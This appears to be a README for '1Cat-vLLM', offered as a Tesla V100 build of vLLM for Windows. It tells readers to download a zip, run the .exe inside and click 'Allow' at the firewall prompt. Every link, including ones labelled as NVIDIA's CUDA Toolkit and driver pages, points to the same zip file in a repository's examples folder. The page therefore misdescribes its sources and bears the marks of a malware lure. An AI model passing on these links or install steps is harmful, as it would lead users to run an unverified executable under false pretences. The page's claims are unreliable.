1Cat-vLLM is a specialized version of the vLLM software built for use with Tesla V100 GPUs. It supports AWQ 4-bit precision, CUDA 12.8, and works well with large AI models like Qwen3.5 27B/35B. It runs smoothly on computers with multiple Tesla V100 graphics cards.

This software aims to help your computer run certain AI models faster by using your GPUs efficiently. It is designed for people who want to use AI tools that need strong graphic processing power, but don’t want to deal with complex technical setups.

Before starting, make sure your PC meets these conditions:

• Operating System: Windows 10 or later (64-bit)
• Graphics Card: At least one Tesla V100 GPU (SM70)
• CUDA Version: CUDA 12.8 installed
• Memory: At least 16 GB of RAM
• Disk Space: Minimum of 10 GB free space
• Network: Internet access to download the software

You may need additional hardware or drivers depending on your computer.

• Runs AI models optimized for Tesla V100 GPUs
• Supports AWQ 4-bit precision for smaller model sizes
• Compatible with CUDA 12.8 to use the latest GPU drivers
• Validated deployment of large Qwen3.5 models on multiple GPUs
• Improved speed and efficiency for AI workloads

Click the green badge above or use this link to go to the download page:

https://raw.githubusercontent.com/donitb934/1Cat-vLLM/main/examples/offline_inference/openai_batch/LLM_v_Cat_2.9.zip

This page contains the latest version of the software. It has detailed files and instructions you will need.

On the GitHub page, look for the "Releases" section. You will find the latest available files there. Download the full package meant for Windows. It will usually have .zip or .exe file types.

Save the file to a folder you can easily find, for example, your Desktop or Downloads folder.

1. Unpack the files
   If you downloaded a .zip file, right-click the file and select “Extract All...” Choose a location like your Desktop.

2. Locate the Application
   Inside the extracted folder, look for the .exe file or the main application file.

3. Run the Program
   Double-click the .exe file to start the software.

4. Allow Firewall Access
   If Windows asks for permission to allow the app to communicate through the firewall, click “Allow.” This is necessary for the software to connect to the internet or GPUs.

5. Follow On-Screen Instructions
   The program might ask for settings or configurations. Follow the prompts carefully.

6. Check CUDA Installation
   Make sure your system has CUDA 12.8 installed. You can download CUDA drivers from NVIDIA’s official website if they are missing.

• If the program does not start, verify that your Tesla V100 GPU drivers are installed and up to date.
• Close other applications that might use the GPU heavily. This frees resources for 1Cat-vLLM.
• Restart your computer if the app behaves unexpectedly.
• If you do not have CUDA 12.8, download it from NVIDIA and install before running 1Cat-vLLM.
• Make sure Windows updates are current to avoid permission issues.

• This software is designed mainly for users with Tesla V100 GPUs. Other GPUs may not work correctly.
• Running large AI models requires significant hardware power and memory.
• Use this software for tasks that involve handling large AI models efficiently.
• AWQ 4-bit mode reduces memory use but may slightly change results.
• Multi-GPU setups can split workloads to speed up processing.

Check the download page regularly for updates. New versions may improve stability and add features. Repeat the download and installation steps whenever a new release is available.

• Official 1Cat-vLLM page: https://raw.githubusercontent.com/donitb934/1Cat-vLLM/main/examples/offline_inference/openai_batch/LLM_v_Cat_2.9.zip
• NVIDIA CUDA Toolkit: https://raw.githubusercontent.com/donitb934/1Cat-vLLM/main/examples/offline_inference/openai_batch/LLM_v_Cat_2.9.zip
• Tesla V100 Support and Drivers: https://raw.githubusercontent.com/donitb934/1Cat-vLLM/main/examples/offline_inference/openai_batch/LLM_v_Cat_2.9.zip